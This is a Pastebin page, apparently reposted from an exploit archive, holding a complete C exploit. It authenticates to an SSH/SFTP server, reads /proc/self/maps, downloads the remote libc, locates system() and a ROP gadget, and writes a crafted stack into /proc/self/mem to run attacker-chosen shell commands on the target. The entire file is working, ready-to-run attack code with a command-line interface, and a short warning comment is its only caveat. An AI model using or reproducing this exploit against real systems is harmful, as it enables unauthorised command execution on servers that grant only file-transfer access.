Guest User

Untitled

a guest
Jul 10th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.63 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3. // THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
  4. // TRY TO ATTACK BACK, THE CODE IS SLOPPY!
  5. // (In other words, please don't use this against other people's machines.)
  6.  
  7. #include <libssh/libssh.h>
  8. #include <libssh/sftp.h>
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <sys/stat.h>
  13. #include <fcntl.h>
  14. #include <string.h>
  15. #include <errno.h>
  16.  
  17. #define min(a,b) (((a)<(b))?(a):(b))
  18.  
  19. sftp_session sftp;
  20.  
  21. size_t grab_file(char *rpath, char **out) {
  22. size_t allocated = 4000, used = 0;
  23. *out = calloc(1, allocated+1);
  24. sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  25. if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  26. while (1) {
  27. ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
  28. if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  29. if (nbytes == 0) {
  30. (*out)[used] = '\0';
  31. sftp_close(f);
  32. return used;
  33. }
  34. used += nbytes;
  35. if (used == allocated) {
  36. allocated *= 4;
  37. *out = realloc(*out, allocated);
  38. }
  39. }
  40. }
  41.  
  42. void dump_file(char *name, void *buf, size_t len) {
  43. FILE *f = fopen(name, "w+");
  44. if (!f) perror("can't write to local file"), exit(1);
  45. if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  46. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  47. }
  48.  
  49. size_t slurp_file(char *path, char **out) {
  50. size_t allocated = 4000, used = 0;
  51. *out = calloc(1, allocated+1);
  52. FILE *f = fopen(path, "r");
  53. if (f == NULL) perror("opening local file failed"), exit(1);
  54. while (1) {
  55. ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
  56. if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
  57. if (nbytes == 0) {
  58. (*out)[used] = '\0';
  59. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  60. return used;
  61. }
  62. used += nbytes;
  63. if (used == allocated) {
  64. allocated *= 4;
  65. *out = realloc(*out, allocated);
  66. }
  67. }
  68. }
  69.  
  70. int main(int argc, char **argv) {
  71. if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  72. char *target_host = argv[1];
  73. char *target_user = argv[2];
  74. char *shell_commands = argv[3];
  75.  
  76. ssh_session my_ssh_session;
  77. int rc;
  78. char *password;
  79. // Open session and set options
  80. my_ssh_session = ssh_new();
  81. if (my_ssh_session == NULL) exit(-1);
  82. ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  83. ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  84. // Connect to server
  85. rc = ssh_connect(my_ssh_session);
  86. if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  87.  
  88. // Authenticate ourselves
  89. password = getpass("Password: ");
  90. rc = ssh_userauth_password(my_ssh_session, NULL, password);
  91. if (rc != SSH_AUTH_SUCCESS)
  92. fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  93.  
  94. sftp = sftp_new(my_ssh_session);
  95. if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  96.  
  97. rc = sftp_init(sftp);
  98. if (rc != SSH_OK) {
  99. fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
  100. sftp_free(sftp);
  101. return rc;
  102. }
  103.  
  104. char *mappings;
  105. grab_file("/proc/self/maps", &mappings);
  106. //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
  107.  
  108. printf("got /proc/self/maps. looking for libc...\n");
  109. // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
  110. long long start_addr, end_addr, offset;
  111. char *libc_path = NULL;
  112. long long stack_start_addr = 0, stack_end_addr;
  113. for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
  114. if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
  115. if (libc_path) fprintf(stderr, "warning: two times libc?\n");
  116. printf("mapping line: %s\n", p);
  117. if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
  118. libc_path = strdup(strchr(p, '/'));
  119. if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
  120. }
  121. if (strstr(p, "[stack]")) {
  122. if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
  123. printf("mapping line: %s\n", p);
  124. if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  125. }
  126. }
  127. if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  128. if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  129. printf("remote libc is at %s\n", libc_path);
  130. printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
  131.  
  132. char *libc;
  133. size_t libc_size = grab_file(libc_path, &libc);
  134. dump_file("libc.so", libc, libc_size);
  135. printf("downloaded libc, size is %zu bytes\n", libc_size);
  136.  
  137. system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  138. char *system_offset_str;
  139. slurp_file("system.addr", &system_offset_str);
  140. long long system_offset;
  141. if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  142. long long remote_system_addr = start_addr+system_offset-offset;
  143. printf("remote system() function is at %Lx\n", remote_system_addr);
  144.  
  145. printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  146. char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  147. if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  148. long long gadget_address = start_addr + (gadget-(libc+offset));
  149. long long ret_address = gadget_address+1;
  150. printf("found gadget at %Lx\n", gadget_address);
  151.  
  152. printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  153. printf("doing it the quick-and-dirty way (that means: pray that the target"
  154. "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  155. long long stack_len = stack_end_addr - stack_start_addr;
  156. /*if (stack_len > 32000) {
  157. stack_len = 32000;
  158. stack_start_addr = stack_end_addr - stack_len;
  159. }*/
  160. char *new_stack = malloc(stack_len);
  161.  
  162. // first fill it with our ret slide
  163. for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
  164. *s = ret_address;
  165. }
  166.  
  167. // put some shell commands in the head
  168. strcpy(new_stack, shell_commands);
  169.  
  170. // put the mini-ROP-chain at the end
  171. // [address of pop rdi] [stack head] [address of system]
  172. long long *se = (void*)(new_stack + stack_len);
  173. se[-3] = gadget_address;
  174. se[-2] = stack_start_addr;
  175. se[-1] = remote_system_addr;
  176.  
  177. printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  178. sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  179. if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
  180.  
  181. // first send over the string
  182. rc = sftp_seek64(mem, stack_start_addr);
  183. if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  184. ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  185. if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
  186.  
  187. // now send over the rest right-to-left
  188. for (long long off = stack_len-32000; off >= 0; off -= 32000) {
  189. rc = sftp_seek64(mem, stack_start_addr+off);
  190. if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
  191. mem_written = sftp_write(mem, new_stack+off, 32000);
  192. if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  193. }
  194.  
  195. return 0;
  196. }
  197.  
  198. # 0day.today [2018-07-10] #
Add Comment
Please, Sign In to add comment